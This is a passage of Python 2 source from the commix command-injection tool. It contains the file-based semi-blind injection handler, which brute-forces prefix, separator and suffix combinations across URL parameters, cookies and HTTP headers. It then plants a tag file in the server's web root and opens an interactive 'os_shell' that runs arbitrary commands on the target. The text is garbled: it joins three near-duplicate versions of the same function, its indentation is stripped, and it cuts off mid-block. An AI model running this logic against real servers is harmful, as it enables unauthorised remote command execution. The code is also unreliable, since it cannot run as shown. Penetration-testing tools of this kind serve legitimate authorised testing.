if settings.ENUMERATION_DONE != True:
print ""
while True:
question_msg = "Do you want to access files again? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
if file_access_again in settings.CHOICE_YES:
fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
if not menu.enumeration_options():
print ""
fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
#print ""
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print ""
fb_enumeration.single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output)
if settings.VERBOSITY_LEVEL >= 1:
print ""
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.VERBOSITY_LEVEL >= 1:
print ""
if go_back == True:
break
question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, delay, go_back_again)
if go_back:
break
else:
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Command execution results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
shell = "".join(str(p) for p in shell)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
if not shell or shell == "":
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(err_msg) + "\n"
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
if settings.VERBOSITY_LEVEL >= 1:
print ""
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response):
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded= False
stop_injection = False
call_tmp_based = False
export_injection_info = False
injection_type = "Semiblind Command Injection"
technique = "file-based injection technique"
# Set temp path
if settings.TARGET_OS == "win":
if "microsoft-iis" in settings.SERVER_BANNER.lower():
settings.TMP_PATH = "C:\\Windows\TEMP\\"
else:
settings.TMP_PATH = "%temp%\\"
else:
settings.TMP_PATH = "/tmp/"
if menu.options.tmp_path:
tmp_path = menu.options.tmp_path
else:
tmp_path = settings.TMP_PATH
if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
call_tmp_based = True
else:
if menu.options.srv_root_dir:
settings.SRV_ROOT_DIR = menu.options.srv_root_dir
else:
# Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
if "apache" in settings.SERVER_BANNER.lower():
if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[0] > "2.3" and not settings.TARGET_OS == "win":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR
except IndexError:
pass
# Add "/html" to servers root directory
elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
pass
# On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
elif "nginx" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[0] >= "1.2.4":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
# Add "/www" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
except IndexError:
pass
elif "microsoft-iis" in settings.SERVER_BANNER.lower():
pass
else:
# Provide custom server's root directory.
custom_srv_root_dir()
path = urlparse.urlparse(url).path
path_parts = path.split('/')
count = 0
for part in path_parts:
count = count + 1
count = count - 1
last_param = path_parts[count]
EXTRA_DIR = path.replace(last_param, "")
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
if settings.TARGET_OS == "win":
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\")
if not menu.options.verbose:
print "(*) Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
else:
print "(*) Testing the " + technique + "... "
i = 0
# Calculate all possible combinations
total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
i = i + 1
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell :
payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
print "(*) Trying to upload the '" + OUTPUT_TEXTFILE + "' file on '" + settings.SRV_ROOT_DIR + "'..."
print Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = fb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay)
time.sleep(delay)
try:
# Check if defined extra headers.
request = urllib2.Request(output)
headers.do_check(request)
# Evaluate test results.
output = urllib2.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(shell) != 0 and shell == TAG and not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the " + technique + "... [ " + percent + " ]")
sys.stdout.flush()
if len(shell) == 0 :
#delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
#if menu.options.verbose:
#print ""
raise urllib2.HTTPError(url, 404, 'Error', {}, None)
except urllib2.HTTPError, e:
if e.getcode() == 404:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == settings.FAILED_TRIES and no_result == True :
if not menu.options.verbose:
print ""
print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read and/or write files in '" + settings.SRV_ROOT_DIR + "'." + Style.RESET_ALL
while True:
tmp_upload = raw_input("(?) Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > ").lower()
if tmp_upload in settings.CHOISE_YES:
exit_loops = True
call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOISE_NO:
break
elif tmp_upload in settings.CHOISE_QUIT:
print ""
raise
else:
if tmp_upload == "":
tmp_upload = "enter"
print Back.RED + "(x) Error: '" + tmp_upload + "' is not a valid answer." + Style.RESET_ALL
pass
continue
else:
if exit_loops == False:
if not menu.options.verbose:
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
else:
percent = str(float_percent)+ "%"
sys.stdout.write("\r(*) Testing the " + technique + "... [ " + percent + " ]")
sys.stdout.flush()
continue
else:
continue
else:
raise
elif e.getcode() == 401:
print Back.RED + "(x) Error: Authorization required!" + Style.RESET_ALL + "\n"
sys.exit(0)
elif e.getcode() == 403:
print Back.RED + "(x) Error: You don't have permission to access this page." + Style.RESET_ALL + "\n"
sys.exit(0)
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
else:
pass
#delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except urllib2.URLError, e:
# print "\n" + Back.RED + "(x) Error: " + str(e.reason) + Style.RESET_ALL
print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read and/or write files in '" + settings.SRV_ROOT_DIR + "'." + Style.RESET_ALL
# Provide custom server's root directory.
custom_srv_root_dir()
continue
except:
raise
def fb_injection_handler(url, delay, filename, http_request_method,
url_time_response):
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
export_injection_info = False
injection_type = "Semiblind Command Injection"
technique = "file-based injection technique"
# Set temp path
if settings.TARGET_OS == "win":
if "microsoft-iis" in settings.SERVER_BANNER.lower():
settings.TMP_PATH = "C:\\Windows\TEMP\\"
else:
settings.TMP_PATH = "%temp%\\"
else:
settings.TMP_PATH = "/tmp/"
if menu.options.tmp_path:
tmp_path = menu.options.tmp_path
else:
tmp_path = settings.TMP_PATH
if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
call_tmp_based = True
else:
if menu.options.srv_root_dir:
settings.SRV_ROOT_DIR = menu.options.srv_root_dir
else:
# Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
if "apache" in settings.SERVER_BANNER.lower():
if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(
r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[
0] > "2.3" and not settings.TARGET_OS == "win":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR
except IndexError:
pass
# Add "/html" to servers root directory
elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
pass
# On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
elif "nginx" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.",
settings.SERVER_BANNER.lower())
if check_version[0] >= "1.2.4":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
# Add "/www" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
except IndexError:
pass
elif "microsoft-iis" in settings.SERVER_BANNER.lower():
pass
else:
# Provide custom server's root directory.
custom_srv_root_dir()
path = urlparse.urlparse(url).path
path_parts = path.split('/')
count = 0
for part in path_parts:
count = count + 1
count = count - 1
last_param = path_parts[count]
EXTRA_DIR = path.replace(last_param, "")
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
if settings.TARGET_OS == "win":
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace(
"/", "\\")
if not menu.options.verbose:
print "(*) Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
else:
print "(*) Testing the " + technique + "... "
i = 0
# Calculate all possible combinations
total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(
settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
i = i + 1
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase) for i in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell:
payload = fb_payloads.decision_alter_shell(
separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(separator, TAG,
OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
print "(*) Trying to upload the '" + OUTPUT_TEXTFILE + "' file on '" + settings.SRV_ROOT_DIR + "'..."
print Fore.GREY + "(~) Payload: " + payload.replace(
"\n", "\\n") + Style.RESET_ALL
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = fb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = fb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = fb_injector.referer_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(
payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(
url, OUTPUT_TEXTFILE, delay)
time.sleep(delay)
try:
# Check if defined extra headers.
request = urllib2.Request(output)
headers.do_check(request)
# Evaluate test results.
output = urllib2.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(
shell
) != 0 and shell == TAG and not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the " + technique +
"... [ " + percent + " ]")
sys.stdout.flush()
if len(shell) == 0:
#delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
#if menu.options.verbose:
#print ""
raise urllib2.HTTPError(url, 404, 'Error', {},
None)
except urllib2.HTTPError, e:
if e.getcode() == 404:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(
menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, delay, filename,
tmp_path, http_request_method,
url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == settings.FAILED_TRIES and no_result == True:
if not menu.options.verbose:
print ""
print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read and/or write files in '" + settings.SRV_ROOT_DIR + "'." + Style.RESET_ALL
while True:
tmp_upload = raw_input(
"(?) Do you want to try the temporary directory ("
+ tmp_path + ") [Y/n/q] > ").lower()
if tmp_upload in settings.CHOISE_YES:
exit_loops = True
call_tfb = tfb_controller(
no_result, url, delay, filename,
tmp_path, http_request_method,
url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOISE_NO:
break
elif tmp_upload in settings.CHOISE_QUIT:
print ""
raise
else:
if tmp_upload == "":
tmp_upload = "enter"
print Back.RED + "(x) Error: '" + tmp_upload + "' is not a valid answer." + Style.RESET_ALL
pass
continue
else:
if exit_loops == False:
if not menu.options.verbose:
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(
float_percent) + "%"
else:
percent = str(float_percent) + "%"
sys.stdout.write("\r(*) Testing the " +
technique + "... [ " +
percent + " ]")
sys.stdout.flush()
continue
else:
continue
else:
raise
elif e.getcode() == 401:
print Back.RED + "(x) Error: Authorization required!" + Style.RESET_ALL + "\n"
sys.exit(0)
elif e.getcode() == 403:
print Back.RED + "(x) Error: You don't have permission to access this page." + Style.RESET_ALL + "\n"
sys.exit(0)
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix,
suffix, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix,
suffix, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
else:
pass
#delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except urllib2.URLError, e:
# print "\n" + Back.RED + "(x) Error: " + str(e.reason) + Style.RESET_ALL
print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read and/or write files in '" + settings.SRV_ROOT_DIR + "'." + Style.RESET_ALL
# Provide custom server's root directory.
custom_srv_root_dir()
continue
except:
raise
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response):
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
next_attack_vector = False
export_injection_info = False
injection_type = "semi-blind command injection"
technique = "file-based injection technique"
# Set temp path
if settings.TARGET_OS == "win":
if "microsoft-iis" in settings.SERVER_BANNER.lower():
settings.TMP_PATH = "C:\\Windows\TEMP\\"
else:
settings.TMP_PATH = "%temp%\\"
else:
settings.TMP_PATH = "/tmp/"
if menu.options.tmp_path:
tmp_path = menu.options.tmp_path
else:
tmp_path = settings.TMP_PATH
if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR:
settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR
if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
call_tmp_based = True
else:
if menu.options.srv_root_dir:
settings.SRV_ROOT_DIR = menu.options.srv_root_dir
else:
# Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
if "apache" in settings.SERVER_BANNER.lower():
if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[0] > "2.3" and not settings.TARGET_OS == "win":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR
except IndexError:
pass
# Add "/html" to servers root directory
elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
pass
# On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
elif "nginx" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[0] >= "1.2.4":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
# Add "/www" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
except IndexError:
pass
elif "microsoft-iis" in settings.SERVER_BANNER.lower():
pass
else:
# Provide custom server's root directory.
custom_srv_root_dir()
path = urlparse.urlparse(url).path
path_parts = path.split('/')
count = 0
for part in path_parts:
count = count + 1
count = count - 1
last_param = path_parts[count]
EXTRA_DIR = path.replace(last_param, "")
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
if settings.TARGET_OS == "win":
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\")
if not settings.LOAD_SESSION or settings.RETEST == True:
info_msg = "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
print settings.print_info_msg(info_msg)
i = 0
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(url, technique):
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
OUTPUT_TEXTFILE = TAG + ".txt"
if technique == "tempfile-based injection technique":
#settings.LOAD_SESSION = True
tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response)
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, delay, filename, http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell :
payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
if settings.TAMPER_SCRIPTS['base64encode']:
from src.core.tamper import base64encode
payload = base64encode.encode(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = fb_injector.referer_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay)
time.sleep(delay)
try:
# Check if defined extra headers.
request = urllib2.Request(output)
headers.do_check(request)
# Evaluate test results.
output = urllib2.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
info_msg = "Testing the " + technique + "... [ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if len(shell) == 0 :
# delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
raise urllib2.HTTPError(url, 404, 'Error', {}, None)
except urllib2.HTTPError, e:
if e.getcode() == 404:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == settings.FAILED_TRIES and no_result == True :
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
print ""
while True:
question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
tmp_upload = sys.stdin.readline().replace("\n","").lower()
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
settings.TEMPFILE_BASED_STATE = True
call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOICE_NO:
break
elif tmp_upload in settings.CHOICE_QUIT:
print ""
raise
else:
if tmp_upload == "":
tmp_upload = "enter"
err_msg = "'" + tmp_upload + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
continue
else:
if exit_loops == False:
if not settings.VERBOSITY_LEVEL >= 1:
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
else:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... [ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
continue
else:
raise
elif e.getcode() == 401:
err_msg = "Authorization required!"
print settings.print_critical_msg(err_msg) + "\n"
sys.exit(0)
elif e.getcode() == 403:
err_msg = "You don't have permission to access this page."
print settings.print_critical_msg(err_msg) + "\n"
sys.exit(0)
except KeyboardInterrupt:
if settings.VERBOSITY_LEVEL >= 1:
print ""
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except urllib2.URLError, e:
